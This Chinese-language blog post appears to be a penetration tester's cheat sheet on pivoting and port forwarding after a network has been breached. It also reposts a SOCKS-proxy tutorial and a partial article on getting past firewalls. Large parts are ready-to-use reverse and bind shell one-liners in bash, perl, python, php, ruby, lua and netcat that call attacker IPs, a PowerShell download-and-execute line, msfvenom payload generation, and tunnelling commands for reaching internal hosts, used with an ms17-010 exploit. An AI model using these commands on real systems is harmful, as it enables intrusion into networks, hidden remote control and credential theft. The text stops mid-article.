Total Pageviews

Friday, 8 November 2019

端口转发总结

传统反弹与网络发现

协议的判断
主要是看能够通过什么协议出去,主要有tcp\http\dns\icmp等协议。常见判断手法如下:
tcp协议
外网vps : nc –lvp port
内网机器:nc ip port
dns协议
外网vps: nc –u –lvp 53
内网机器:
windows: nslookup www.baidu.com vps-ip
linux:dig @vps-ip www.baidu.com
http协议
外网vps : nc –lvp 80 (or 8080等)
内网机器 : curl vps-ip:8080
icmp协议
外网vps:抓包、tcpdump icmp
内网机器:直接ping
端口的判断
外网vps做监听,内网机器测试常见端口,或直接使用端口扫描器进行扫描。
常见能出去的端口有80,8080,443,53,110,123等。
额外情况–代理服务器
还有一种是机器不能直接出来的,需要进行代理设置,这种多数是为了办公网段得办公人员进行上网用的。
常用的判断手法与情况如下:
查看网络连接看是否有连接其他机器的8080(不绝对)等端口,尝试ping –n 1 –a ip
是否有hostname类似于proxy的机器
IE直接代理情况
可以通过查询注册表得到:
reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
通过pac文件自动代理情况
reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
我们可以通过pac文件的路径(可能是本地路径或远程路径)将pac文件下载回来查看,例如某pac文件如下:从中我们能看到其带来服务器为172.16.10.168:8080
    function islocalip(ip) {
           return isInNet(ip, "127.0.0.0", "255.0.0.0") ||
                     isInNet(ip, "169.254.0.0", "255.255.0.0") ||
                     isInNet(ip, "10.0.0.0", "255.0.0.0") ||
                     isInNet(ip, "192.168.0.0", "255.255.0.0") ||
                     }
    function FindProxyForURL(url, host) {
           var DefaultScanner = "PROXY 172.16.10.168:8080; DIRECT";
           var target_ip = dnsResolve(host);
           if (islocalip(target_ip)) {
                         return 'DIRECT';
           } else {
                  return DefaultScanner;
           }
    }
最终我们可以利用curl进行确定:
curl        www.baidu.com      //不通 
curl –x     proxy-ip:8080 www.baidu.com   //通
icmp        ping baidu.com 
http        curl -i  baidu.com 
tcp         telnet baidu.com 
dns         nslookup baidu.com    //当然这里不一定非要百度
其他反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
顺便提下
searchsploit ms17  |grep py  只匹配py脚本
searchsploit -p 41891.rb 复制完整路径并显示详细信息
searchsploit -m 41891.rb 复制到当前目录
searchsploit -w ms17-010  显示exploit-db在线结果
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

iptables

1、编辑配置文件/etc/sysctl.conf
net.ipv4.ip_forward = 1
2、关闭服务
service iptables stop
3、配置规则
需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
4、保存&&重启服务
service iptables save && service iptables start

EarthWorm[绕防火墙]

http://rootkiter.com/EarthWorm/
  1. 正向 SOCKS v5 服务器
    $ ./ew -s ssocksd -l 1080
  2. 反弹 SOCKS v5 服务器
    这个操作具体分两步:
    a) 先在一台具有公网 ip 的主机A上运行以下命令:
     $ ./ew -s rcsocks -l 1080 -e 8888 
    
    b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
     $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
    
  3. 多级级联
工具中自带的三条端口转发指令,
它们的参数格式分别为:
$ ./ew -s lcx_listen -l  1080   -e 8888
$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999
通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例:
a) lcx_tran 的用法
    $ ./ew -s ssocksd  -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd    -l 9999
    $ ./ew -s lcx_slave  -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个“三级级联”的本地SOCKS测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Shell反弹不出[DMZ]

1、先生成一个bind_shell
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=12345 -f exe -o ./shell.exe
2、本地利用tunna工具进行端口转发
python proxy.py -u http://xxxx.com/conn.jsp  -l 3333 -r 12345 v
3、监听
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 3333

SSH隧道

三种不同类型的ssh隧道
http://hetaoo.iteye.com/blog/2299123
通过VPS SSH隧道使用本地msf
https://evi1cg.me/archives/Port_Forward_using_VPS_SSH_Tunnel.html
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip  
socket代理
ssh -qTfnN -D port remotehost
反向隧道,用于内网穿透防火墙限制之类
-q      #安静模式
-T      #不占用shell
-f      #后台运行,推荐加-n参数
-N      #不执行远程命令
set RHOST 127.0.0.1

Netsh[tcp]

添加转发规则
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389

此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389
删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090
查看现有规则
netsh interface portproxy show all
xp需要安装ipv6
netsh interface ipv6 install

nc [正向]

1、 nc -e /bin/sh -lp 1234
    nc -e /bin/sh 223.8.200.234 1234
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 
    nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

2、  mknod /tmp/backpipe p
    /bin/sh 0
/tmp/backpipe 3、 nc.exe -e cmd.exe -lp 1234 [windows]

lcx 内网转发

监听1234端口,转发数据到2333端口
本地:lcx.exe -listen 1234 6666
将目标的3389转发到本地的1234端口
肉鸡:lcx.exe -slave my_ip 1234 127.0.0.1 3389
re:最好有个vps

reGeorg

https://github.com/sensepost/reGeorg
python reGeorgSocksProxy.py -p 4444 -u http://xxx.com/tunnel.php
vim /etc/proxychains.conf
socks5 127.0.0.1 4444
proxychains4 nmap -sT -Pn -n 192.168.1.2

Tunna[速度较慢]

https://github.com/SECFORCE/Tunna
python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v 
rdesktop 127.0.0.1:1234

Linux portmap 端口映射

转发ssh到外网 不太常用
./portmap -m 2 -p1 6666 -h2 8.8.8.8 -p2 7777    #先在外网执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 8.8.8.8 -p2 6666  #在内网shell下执行
ssh 127.0.0.1 -p 7777   #在外网机器上执行
rtcp.py
1. 在B服务器上运行:
    ./rtcp.py l:10001 l:10002
    表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了
2. 在A服务器上运行:
    ./rtcp.py c:localhost:22 c:222.2.2.2:10001
    表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了
3. 然后我们就可以这样来访问A服务器的22端口了:
    ssh 222.2.2.2 -p 10002
    如果报错ssh_exchange_identification: read: Connection reset by peer  解决方法chmod 400 /etc/ssh/*
tunna
第一步 运行proxy.py 并指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第二步 本地执行  rdesktop 127.0.0.1:1234
python2.7 proxy.py -u http://x.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389   #-a指定内网的机器
htran
正向代理
服务端      htran.exe -s -bind 8888
客户端      SocksCap:SOCKS Version 5 服务端IP:8888
反向代理
客户端      htran.exe -s -listen 1234 8888
服务端      htran.exe -s -connect 客户端IP 1234
客户端      SocksCap:SOCKS Version 5 127.0.0.1:8888
正向端口转发
服务端      htran.exe -p -tran 8888 127.0.0.1 3389
客户端      RDP 服务端IP:8888
反向端口转发
客户端      htran.exe -p -listen 1234 8888
服务端      htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389
客户端      RDP 127.0.0.1:8888
iptables端口映射
bash
vi /etc/sysctl.conf #将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1 开启转发功能
sysctl -p   #使数据转发功能生效
iptables -t nat -A PREROUTING --dst 192.168.46.129 -p tcp --dport 81 -j DNAT --to-destination 172.24.20.25:80 #把本地192.168.46.129的81端口转为目标172,24.20.25的80端口
iptables -t nat -A POSTROUTING --dst 172.24.20.25 -p tcp --dport 80  -j SNAT --to-source 192.168.46.129   #172.24.20.25:80返回时 将ip修改为192.168.46.129

端口转发之PowerShell

https://github.com/samratashok/nishang
Victim IP : 192.168.52.1
Attacker IP : 192.168.52.129
1.Reverse shell[tcp]
Attacker:
    nc -lvp 4444
Victim:
    PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
    PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444
2.Bind shell[tcp]
Victim:
    PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
    PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888
Attacker:
    PS F:\Shells> . .\powercat.ps1
    PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888
3.Reverse shell[UDP]支持ipv6
Attacker:
    nc -lvup 53
Victim:
    PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
    PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53
4.Bind shell[UDP]
Victim:
    PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
    PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777
Attacker:
    nc -vtu 192.168.52.1 7777
5.HTTPS
https://github.com/samratashok/nishang/blob/bfeabd2e043dfef6392e8a930eb1d7a04392af36/Shells/Invoke-PoshRatHttps.ps1
需要Attacker以管理员身份运行,nishang作者最新的脚本会出现错误
Attacker:
    PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
    PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 80 -SSLPort 443
Victim:
    PS C:\> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")
6.DNS shell
dnscat2 : https://github.com/iagox86/dnscat2)
powercat: https://github.com/besimorhino/powercat)


Attacker:
    root@kali:~# ruby dnscat2.rb shellcome.com
Victim:
    PS F:\Shells> . .\powercat.ps1
    PS F:\Shells> powercat -c 192.168.52.131 -v -dns shellcome.com -ep

metasploit

meterpreter> run autoroute -s 192.168.1.0/24
meterpreter> use auxiliary/server/socks4a
msf> route add 192.168.1.0 255.255.255.0 192.168.1.1 [sessionid]

防火墙开启的ms17-010

例如:详细查找ms17-010
https://packetstormsecurity.com/search/?q=MS17-010
1、上传EarthWorm转发端口445到指定端口,然后利用eternalblue+Doublepulsar溢出目标8888端口,成功回弹系统权限的shell
2、由于防火墙限制(也可能其他),直接添加管理员始终不能成功
3、上传工具,获取管理员密码hash破解,成功登陆3389
./ew -s lcx_tran -l 8888 -f 127.0.0.1-g 445

Socks代理工具

Earthworm            http://rootkiter.com/EarthWorm
xsocks            https://github.com/5loyd/xsocks
ShadowSOCKS(影梭)    https://github.com/shadowSOCKS
SocksCap64        http://www.sockscap64.com/
proxychains        http://proxychains.sourceforge.net/
-------------------------------------------------------
 

内网漫游之SOCKS代理大结局 

0×01 引言
在实际渗透过程中,我们成功入侵了目标服务器。接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具,进行端口转发。
适用端口转发的网络环境有以下几种:
1. 服务器处于内网,可以访问外部网络。
2. 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。
3. 服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络。
对于以上三种情况,lcx可以突破1和2二种,但是第3种就没有办法了,因为lcx在使用中需要访问外部网络。
这里的第3种就可以用到我们今天重点要讲的SOCKS代理。Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
Socks在渗透测试中使用特别广泛,能够很方便让我们与目标内网计算机之间通信,避免了一次又一次使用端口转发的麻烦。比较常见的Socks5工具有htran,reGeorg等,socks4的有metasploit。
在实际渗透测试过程中,当我们成功的拿下第一台堡垒机后,此时我们又想对目标内网进一步渗透测试时,socks能够帮助我们更加快速的,方便的访问目标内网的各种资源,比传统的端口转发更加实用。

0×02 渗透环境
此次渗透的环境:左侧是我的个人电脑(内网)和一台有公网IP的VPS,右侧是一个小型内网。假设我们现在已经渗透了一台WEB服务器,该服务器内网IP为10.48.128.25。经过扫描,右侧小型内网网络结构如图所示。其中我们控制的WEB服务器是连接外网和内网的关键节点,内网其他服务器均不能直接连接。图是我老婆用CAD画的,还不错吧!: )
http://p4.qhimg.com/t01a70f1ae1dfc671b3.png

0×03 socket端口转发
首先我们介绍下最为经典也是使用最为频繁的端口转发工具lcx,lcx.exe 是一个基于 socket 套接字实现的端口转发工具,它是从 linux 下的htran 工具移植到windows平台的。一条正常的socket隧道必具备两端,一侧为服务端,它会监听一个端口等待客户端连接;另一侧为客户端,通过传入服务端的ip和端口,才能主动连接到服务器。
比如要转发上图中目标机器10.48.128.25的3389端口:
1、在目标机器10.48.128.25上执行
lcx.exe –slave 139.XXX.XX.113 9000 10.48.128.25 3389
此段命令意思是将目标机器3389端口的所有数据都转发到公网VPS的9000端口上。
2、在VPS上执行
lcx.exe –listen 9000 5555
此段命令意思是将本机9000端口上监听到的所有数据转发到本机的5555端口上。
3、在左侧的My PC机上用mstsc登陆139.XXX.XX.113:5555或者在VPS上用mstsc登陆127.0.0.1:5555。即可访问右侧内部网络中10.48.128.25服务器的3389端口。
Lcx工具实现的是一对一的端口转发,如果想访问右侧网络中列出的所有端口,就必须一次次的重复lcx的转发过程,效率相当低下。而且服务器都是有装有杀毒软件的,即使有做免杀也不能保证绕过所有的杀毒。
像这种情况就可以用到socks代理,在10.48.128.25这台既能连接互联网又能连接内网的WEB服务器上架设代理。

0×04 SOCKS代理工具
socks代理其实也可理解为一个增强版的 lcx,它在服务端监听一个服务端口,当有新的连接请求时会从socks协议中解析出访问目标的URL的目标端口,再开始执行lcx的具体功能。网络上Socks代理工具有很多,选用的时候尽可能使用无GUI界面的工具,还有尽可能不需要安装其他依赖软件,能够支持多平台操作系统的更佳。
http://p5.qhimg.com/t01bf3ca8ad038c0b41.png
1. Earthworm     工具网址:http://rootkiter.com/EarthWorm 
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/ 
2.reGeorg         工具网址:https://github.com/NoneNotNull/reGeorg 
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
3.sSocks          工具网址:http://sourceforge.net/projects/ssocks/ 
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13。
4.SocksCap64     工具网址:http://www.sockscap64.com (需翻墙)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。
5.proxychains     工具网址:http://proxychains.sourceforge.net/ 
Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。

0×05 架设代理服务端
在实际渗透测试中,我经常使用的socks工具是EW,该程序体积很小,LINUX的只有30KB左右,Windows下面的也只有56KB,而且不需要再做其他设置,真的是居家旅行之必备之物。
下载打开EW软件文件夹,可以看到有针对各种系统用的程序,如下图:
http://p1.qhimg.com/t018026cdf401d78e7a.png
根据你实际的操作系统选用就可以了,因为我们此次渗透是WINDOWS的所以就用ew_for_win.exe这个程序了。EW的使用也非常简单,该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
首先介绍用于普通网络环境的正向连接ssocksd命令和反弹连接rcsocks命令、rssocks命令,再介绍用于复杂网络环境的多级级联。
# 简单解释下正向代理和反向代理的区别,正向代理就是我们主动通过proxy来访问目标机器,反向代理就是目标机器通过proxy主动来连接我们。
1. 正向socks v5服务器            适用于目标机器拥有一个外网IP
ew –s ssocksd –l 888
http://p1.qhimg.com/t01f9ec47fc4e179acd.png
上述命令架设了一个端口为888,SOCKS的代理。然后使用sockscap64添加这个IP的代理就可以使用了。比较简单就不演示了。
2. 反弹socks v5服务器           适用于目标机器没有公网IP,但可访问内网资源
A. 先上传ew 到左侧ip地址为139.XXX.XX.113公网VPS的C盘上,运行下列命令:
ew -s rcsocks -l 1008 -e 888
http://p2.qhimg.com/t018a5cf5643fc693d8.png
该命令的意思是在我们公网VPS上添加一个转接隧道,把1080端口收到的代理请求转交给888端口
B. 上传EW到右侧IP地址为10.48.128.25的WEB服务器C盘上,运行下列命令:
ew -s rssocks -d 139.XXX.XX.113 -e 888
http://p4.qhimg.com/t01e35d6cd7845338ab.png
该命令的意思是在10.48.128.25上启动SOCKS V5服务,并反弹到IP地址为139.XXX.XX.113左侧公网VPS的888端口上。
C. 返回我们公网VPS的CMD界面下,可以看到已经反弹成功了。现在就可以通过访问139.XXX.XX.113:1008端口使用在右侧10.48.128.25架设的SOCKS5代理服务了。
http://p5.qhimg.com/t019f6d188b3c340730.png
3.二级网络环境(一)
假设我们获得了右侧A主机和B主机的控制权限,A主机配有2块网卡,一块连通外网,一块10.48.128.25只能连接内网B主机,无法访问内网其它资源。B主机可以访问内网资源,但无法访问外网。
http://p2.qhimg.com/t01922a52dd078eb9c4.png
A.先上传ew到B主机,利用ssocksd方式启动888端口的SOCKS代理,命令如下:
ew -s ssocksd -l 888
http://p4.qhimg.com/t012a7629a90c63401e.png
B.上传ew到右侧A主机,运行下列命令:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
http://p7.qhimg.com/t0162b118311fd680ed.png
该命令意思是将1080端口收到的代理请求转交给B主机(10.48.128.49)的888端口。
C.可以通过访问A主机外网139.XXX.XX.113:1080来使用在B主机架设的socks5代理。
4.二级网络环境(二)
假设我们获得了右侧A主机和B主机的控制权限,A主机没有公网IP,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
http://p2.qhimg.com/t01b56dba5d46e0fe7e.png
这个操作分为4步,用到lcx_listen和lcx_slave命令:
A. 先上传ew 到左侧公网VPS上,运行下列命令:
ew –s lcx_listen –l 10800 –e 888
http://p8.qhimg.com/t0110e8d8ca5318674f.png
该命令意思是在公网VPS添加转接隧道,将10800端口收到的代理请求转交给888端口。
B.上传ew到右侧B主机,并利用ssocksd方式启动999端口的socks代理,命令如下:
ew -s ssocksd -l 999
http://p0.qhimg.com/t01b15a1e57f38dbd03.png
C.上传ew 到右侧A主机,运行下列命令:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
http://p1.qhimg.com/t01d9f657124b271028.png
该命令意思是在A主机上利用lcx_slave方式,将公网VPS的888端口和B主机的999端口连接起来。
D. 返回我们公网VPS的CMD界面下,可以看到已经连接成功了。
http://p6.qhimg.com/t01429762ed8b5ed759.png
现在就可以通过访问公网VPS地址 139.XXX.XX.113:10800来使用在B主机架设的socks5代理。
5.三级网络环境
三级网络环境在实际渗透中用的比较少,也比较复杂,现在我们来一个个的讲解下三级级联的用法。
假设渗透场景:右侧内网A主机没有公网IP但可以访问外网,B主机不能访问外网但可以被A主机访问、C主机可被B主机访问而且能够访问核心区域。
http://p4.qhimg.com/t01ff7041c2e5b62dac.png
A.在左侧公网VPS上运行命令,将1080端口收到的代理请求转交给888端口:
ew -s rcsocks -l 1080 -e 888
B.在A主机上运行命令,将公网VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
C.在B主机上运行命令,将999端口收到的代理请求转交给777端口:
ew -s lcx_listen -l 999 -e 777
D.在C主机上启动SOCKS V5服务,并反弹到B主机的777端口上,命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
E.在MY PC上可以通过访问公网VPS 139.XXX.XX.113:1080来使用在C主机架设的socks5代理。
整个数据流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks

0×06 内网漫游
1.Windows下使用sockscap64
首先下载安装好SocksCap64后,以管理员权限打开。默认浏览器已经添加。
http://p2.qhimg.com/t01b42aa4487900899f.png
使用比较简单,点击代理,点击添加一个代理,然后设置下代理服务器IP和端口就可以使用了。设置好后可以点击软件右边有个闪电的小圆点,测试下当前代理服务器是否可以连接,如下图,连接是正常的。
http://p7.qhimg.com/t019ee15c37e0d34209.png
这个时候就可以选择浏览器,右击在代理隧道中运行选中的程序,然后我们就可以自由访问我们想访问的内网资源了,比如我们可以访问10.48.128.22路由的80端口,如下图:
http://p4.qhimg.com/t01dee009f3c4569efa.png
http://p5.qhimg.com/t0115b0b71255b432ee.png
可以看到我们已经成功的通过socks代理漫游内部网络WEB资源,我们接着看看还有哪些程序能够利用SOCKSCAP的程序通过代理访问内网中的哪些端口了?
尝试登陆10.48.128.20的3389端口,可以看到成功登陆。
http://p5.qhimg.com/t011e4cb4e5493327fe.png
我们可以在我们的公网VPS的命令行下可以看到,不停的有数据的交换。再尝试PUTTY访问10.48.128.49的22端口,成功登陆。
http://p7.qhimg.com/t01d0610ee2055e054c.png
http://p1.qhimg.com/t01e6cdb5297a52660b.png
再试试VNC端口,因为10.48.128.25开了5900端口,OK,成功访问。大家可以看到这种利用SOCKS代理实现一对多端口映射的优势立刻就体现了出来,效率倍增。
http://p4.qhimg.com/t011de757794e4604e6.png
但是将扫描工具进行SOCKSCAP代理,然后对内网网段进行扫描,我没有尝试成功,大家可以多多的尝试各种工具!我在代理下用扫描工具一般都是用proxychains,大家接着往下看!
2.LINUX下使用proxychains
KALI系统已经预装好了这个工具,我们稍作配置就可以使用,打开终端,输入命令:
vi /etc/proxychains.conf
# 顺便补充下LINUX下Vim编辑器简单使用方法
使用上面命令进入文本后,摁“i”键就进入了编辑模式,可以对文本进行修改,修改完后摁esc 然后摁住shift+; 左下角会出现一个冒号,如下图。
http://p8.qhimg.com/t01e8a23a5c7538b3ff.png
这个时候输入wq,摁回车保存并退出。
第一步先删掉dynamic_chain前面的注释符(也就是#符号),如下图
http://p1.qhimg.com/t01b31011a5fb490d35.png
然后拉到最下面,把默认是socks4 127.0.0.1 9050 的地方改成我们架设的代理服务139.XXX.XX.113 1008
http://p1.qhimg.com/t01fc40103beb5fae0b.png
这样就设置完成了,我们接着测试下代理服务是否正常,在终端输入
proxyresolv www.baidu.com
http://p7.qhimg.com/t0180bf282bee9e1723.png
此时如上图所示会显示未找到命令,不要担心,继续在终端输入下列命令
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
然后再次测试下代理服务器是否正常,如下图,显示OK就表示配置正确了。
http://p4.qhimg.com/t01f20f07eead569a3d.png
现在我们就可以愉快的畅游内网了,照例先访问内网网站试试看,我们先在终端输入proxychains firefox启动火狐浏览器。
http://p0.qhimg.com/t0154d7db85203b1fbf.png
等个几秒钟,火狐就打开了,我们还是访问10.48.128.22路由的80端口看看。
http://p4.qhimg.com/t012f2e31e653d802ea.png
顺利打开,可以看到kali里面的数据不停的交换,我们再打开10.48.128.48看看,也是可以访问的,一个Zend服务器测试页。
http://p8.qhimg.com/t011913de2fda937eb2.png
接着就到了我们的重头戏了,我们找几个具有代表性的工具试试,先看看NMAP和SQLMAP好使不!
http://p2.qhimg.com/t01108e656ce1c33a5d.png
http://p6.qhimg.com/t01cd6ce8a8965878bc.png
如上图所示,均表示相当好使,我们最后再试试大杀器-Metasploit可不可以用。
http://p8.qhimg.com/t01ee29286b13a977e9.png
我们随便找个IP扫扫看端口,如下图所示,已经开始扫描了。
http://p4.qhimg.com/t01485b9a2fe02b67ba.png
其他工具就不再一一介绍了。
The End.
最后感谢rootkiter写出了如此优秀的软件。

from https://www.anquanke.com/post/id/85494
---------------------------------------------------------------

内网穿透方式与思路总结

0x00 前言

本文主要来探讨一下内网穿透方式与思路总结。在开始之前,需要先设置一个前提即已经具有目标内网中的一台主机的任意命令执行的权限,比如:webshell或者某个service的RCE漏洞。我们这里的目标是要绕过可能存在的防火墙,IDS/IPS或者深度包检测系统从而拿到目标内网主机的shell并进而穿透内网以便实施内网渗透。

0x01 实验与分析

实验环境的搭建:
这里我使用VirtualBox新建了一个NAT网络(10.0.2.0/24)来模拟内网以及一台Kali主机(192.168.0.230)来模拟外网主机,具体如下:
  • 内网地址(NAT网络):10.0.2.0/24
    • 内网主机A(Windows):10.0.2.15
    • 内网主机B(Linux):10.0.2.5
  • 内网出口地址(NAT出口地址):192.168.7.225
  • 外网主机:192.168.0.230
网络拓扑如下:

现在假设我们已经拥有了MyLab网络中的Linux或者Windows的代码执行权限,我们的目标是在我们的攻击机Kali主机上成功获取到内网主机的shell。
场景与思路分析:
场景一:内网防火墙对出口流量没有任何端口限制
思路:由于防火墙对出口流量没有任何端口限制,我们的可选择的方案非常灵活,如:反弹shell
方法:
1. Windows:
nc.exe -nv 192.168.0.230 8080 -e cmd.exe
2. Linux: 
1)Netcat
nc -nv 192.168.0.230 8080 -e /bin/bash

mknod /tmp/p p && /bin/sh 0</tmp/p | nc 192.168.0.230 8080 1>/tmp/p
2)Ncat
ncat -nv 192.168.0.230 8080 -e /bin/bash
3)Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.230",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4)PHP
php -r '$sock=fsockopen("192.168.0.230",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
5)Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.230","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
6)Perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.230:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
7)Bash
bash -i >& /dev/tcp/192.168.0.230/8080 0>&1

0<&196;exec 196<>/dev/tcp/192.168.0.230/8080; sh <&196 >&196 2>&196
 
/bin/bash -i > /dev/tcp/192.168.0.230/8080 0<&1 2>&1
场景二:内网防火墙仅允许内网主机访问外网的特定端口(如:80, 443)

思路:由于防火墙仅允许部分特定外网端口可以访问,思路一仍然是反弹shell只不过目标端口改成特定端口即可;思路二则是端口转发,将内网主机的某些服务的端口转发到外网攻击主机上的防火墙允许的特定端口上,再通过连接外网主机上的本地端口来访问内网服务
方法一:反弹shell可参考场景一中的方法,仅需修改目标端口为防火墙允许的特定端口即可
方法二:端口转发
1. Windows
2. Linux (SSH远程端口转发,以允许的特定端口为80为例)
1)在外网主机上将ssh的22端口映射到80端口
$ apt-get install rinetd
$ vim /etc/rinetd.conf
# bindadress    bindport    connectaddress    connectport
